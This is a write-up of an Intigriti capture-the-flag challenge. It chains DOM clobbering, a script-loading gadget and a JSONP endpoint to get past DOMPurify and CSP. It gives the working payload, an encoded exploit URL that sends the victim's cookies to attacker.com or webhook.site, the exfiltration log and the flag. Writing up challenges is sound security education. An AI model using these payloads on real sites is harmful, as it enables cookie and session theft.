The solution:
- Should leverage a XSS vulnerability on the challenge page.
- Shouldn't be self-XSS or related to MiTM attacks.
- Should work in the latest version of Google Chrome.
- Should require no more than 1 click from the victim.
- Should include:
- The flag in the format INTIGRITI{.*}
- The payload(s) used
- Steps to solve (short description / bullet points)
- Should be reported on the Intigriti platform.
Get started at https://challenge-0326.intigriti.io/challenge.html
-
The application reflects DOMPurify-sanitized HTML from the
qquery parameter into the page viainnerHTML. DOMPurify (v3.0.6) is configured withFORBID_ATTR: ['id', 'class', 'style'], but crucially allowsnameand alldata-*attributes through. -
A DOM Clobbering attack using
<form name="authConfig" data-next="https://attacker.com/" data-append="true">overrideswindow.authConfig, which is read byAuth.loginRedirect()to construct a redirect URL that appendsdocument.cookie. -
A Script Gadget in
ComponentManagerpicks up injected<div data-component="true" data-config='...'>elements and dynamically loads a script from an attacker-controlled path on the same origin. -
A hidden JSONP endpoint at
/api/stats?callback=Auth.loginRedirectreturns valid JavaScript that callsAuth.loginRedirect(), executing underscript-src 'self'CSP. -
When the admin bot visits the crafted URL, the full chain fires: DOM clobber → ComponentManager loads JSONP script →
Auth.loginRedirect()reads clobbered config → browser redirects to attacker server with cookies in the URL.
Payload:
<form name="authConfig" data-next="https://attacker.com/" data-append="true"></form>
<div data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"a"}'></div>Flag: INTIGRITI{019cdb71-fcd4-77cc-b15f-d8a3b6d63947}
The target is a "Secure Search Portal" themed around operational intelligence — the kind of application whose name alone tries very hard to convince you that everything is under control.
It has a single search input that takes a query parameter q, sanitizes it with DOMPurify, and reflects the result into the DOM. There's also a "Report to Admin" feature that sends a URL to a headless browser bot (the classic XSS-challenge cookie jar).
The search query is processed in /js/main.js:
document.addEventListener('DOMContentLoaded', () => {
const params = new URLSearchParams(window.location.search);
const q = params.get('q');
const resultsContainer = document.getElementById('resultsContainer');
if (q) {
const cleanHTML = DOMPurify.sanitize(q, {
FORBID_ATTR: ['id', 'class', 'style'],
KEEP_CONTENT: true
});
resultsContainer.innerHTML = `<p>Results for: <span class="search-term-highlight">${cleanHTML}</span></p>
<p style="margin-top: 10px; color: #64748b;">No matching records found...</p>`;
}
if (window.ComponentManager) {
window.ComponentManager.init();
}
});DOMPurify v3.0.6 is used — a version known to be vulnerable to CVE-2024-47875 (mutation XSS via deep nesting) and CVE-2024-45801 (prototype pollution). These are tempting rabbit holes, and I spent considerable time exploring them. Deep nesting mXSS at ~510 <div> depth does cause DOM mutations, but DOMPurify still sanitizes the resulting elements — onerror handlers get stripped, <script> and <base> tags get removed. These CVEs turned out to be red herrings for this particular challenge.
The real vulnerability is much more subtle: the FORBID_ATTR config only blocks id, class, and style. Everything else — including name and data-* attributes — passes through untouched. This is the crack in the wall.
In /js/components.js, there's a pre-defined Auth.loginRedirect() function:
window.Auth = window.Auth || {};
window.Auth.loginRedirect = function (data) {
let config = window.authConfig || {
dataset: { next: '/', append: 'false' }
};
let redirectUrl = config.dataset.next || '/';
if (config.dataset.append === 'true') {
let delimiter = redirectUrl.includes('?') ? '&' : '?';
redirectUrl += delimiter + "token=" + encodeURIComponent(document.cookie);
}
window.location.href = redirectUrl;
};This function reads from window.authConfig — and if dataset.append is 'true', it appends document.cookie to the redirect URL. If an attacker can control window.authConfig, they control where the cookies go.
Normally, window.authConfig is undefined (no element with that name exists in the default page). The fallback redirects to / without cookies. But what if we could create an element that defines window.authConfig?
Named HTML elements automatically register as properties on the window object. A <form> element with name="authConfig" will set window.authConfig to point to that DOM element. And DOM elements expose their data-* attributes via the .dataset property.
So injecting:
<form name="authConfig" data-next="https://attacker.com/" data-append="true"></form>sets window.authConfig.dataset.next to "https://attacker.com/" and window.authConfig.dataset.append to "true".
DOMPurify allows <form> elements. It allows name attributes. It allows data-* attributes. The clobber sails through sanitization without a scratch.
Now we control where Auth.loginRedirect() sends the cookies. But we still need someone to call it.
Also in /js/components.js:
class ComponentManager {
static init() {
document.querySelectorAll('[data-component="true"]').forEach(element => {
this.loadComponent(element);
});
}
static loadComponent(element) {
try {
let rawConfig = element.getAttribute('data-config');
if (!rawConfig) return;
let config = JSON.parse(rawConfig);
let basePath = config.path || '/components/';
let compType = config.type || 'default';
let scriptUrl = basePath + compType + '.js';
let s = document.createElement('script');
s.src = scriptUrl;
document.head.appendChild(s);
} catch (e) {}
}
}After the sanitized HTML is injected into the DOM, main.js calls ComponentManager.init(). This scans the DOM for any element with data-component="true", reads its data-config JSON, and dynamically creates a <script> tag with a URL built from config.path + config.type + '.js'.
Since DOMPurify allows data-component and data-config attributes, an attacker can inject:
<div data-component="true" data-config='{"path":"/some/path","type":"name"}'></div>ComponentManager will happily load /some/path/name.js as a script. But there's a constraint: the CSP is strict:
script-src 'self'
The loaded script must come from the same origin. We can't point to an external server. We need a same-origin endpoint that returns attacker-controlled JavaScript.
The Hidden JSONP Endpoint
This is where the challenge's hint comes in: "find the hidden api endpoint that lets you choose the callback."
Fuzzing the server reveals /api/stats — an endpoint that returns 400 with {"error":"Invalid callback identifier"} when no callback is provided, but with a callback parameter:
GET /api/stats?callback=Auth.loginRedirect
returns:
Auth.loginRedirect({"users":1337,"active":42,"status":"Operational"});A classic JSONP endpoint — same-origin, returning valid JavaScript, with an attacker-controlled function name. This is the key that unlocks the entire chain.
The full payload combines all three primitives:
<form name="authConfig" data-next="https://attacker.com/" data-append="true"></form>
<div data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"a"}'></div>The data-config JSON is crafted so that ComponentManager constructs the URL:
/api/stats?callback=Auth.loginRedirect&x=a.js
The &x=a.js suffix is harmless junk — the JSONP endpoint ignores the extra parameter, but ComponentManager needs the URL to end with .js (since it concatenates type + '.js').
- Victim (admin bot) opens the crafted URL with the payload in the
qparameter. - DOMPurify sanitizes the HTML —
<form>and<div>withdata-*attributes pass through cleanly. - The sanitized HTML is injected into the DOM via
innerHTML. window.authConfigis now clobbered by the injected<form>element.ComponentManager.init()finds the<div data-component="true">element.- ComponentManager creates a
<script src="/api/stats?callback=Auth.loginRedirect&x=a.js">tag. - The browser loads the JSONP endpoint (same-origin, passes CSP).
- The response
Auth.loginRedirect({"users":1337,...});executes. Auth.loginRedirect()reads the clobberedwindow.authConfig:dataset.next→https://attacker.com/dataset.append→"true"
- The function redirects to
https://attacker.com/?token=FLAG%3DINTIGRITI%7B...%7D.
The final exploit URL, with the payload URL-encoded in the q parameter:
https://challenge-0326.intigriti.io/challenge.html?q=%3Cform%20name%3D%22authConfig%22%20data-next%3D%22https%3A//webhook.site/ATTACKER-UUID%22%20data-append%3D%22true%22%3E%3C/form%3E%3Cdiv%20data-component%3D%22true%22%20data-config%3D%27%7B%22path%22%3A%22/api/stats%3Fcallback%3DAuth.loginRedirect%26x%3D%22%2C%22type%22%3A%22a%22%7D%27%3E%3C/div%3E
After reporting this URL to the admin bot via the "Report Anomalous Behavior" modal, the bot visits the page and the chain executes. The webhook server logs confirm the exfiltrated cookies:
GET /?token=FLAG%3DINTIGRITI%7B019cdb71-fcd4-77cc-b15f-d8a3b6d63947%7D
INTIGRITI{019cdb71-fcd4-77cc-b15f-d8a3b6d63947}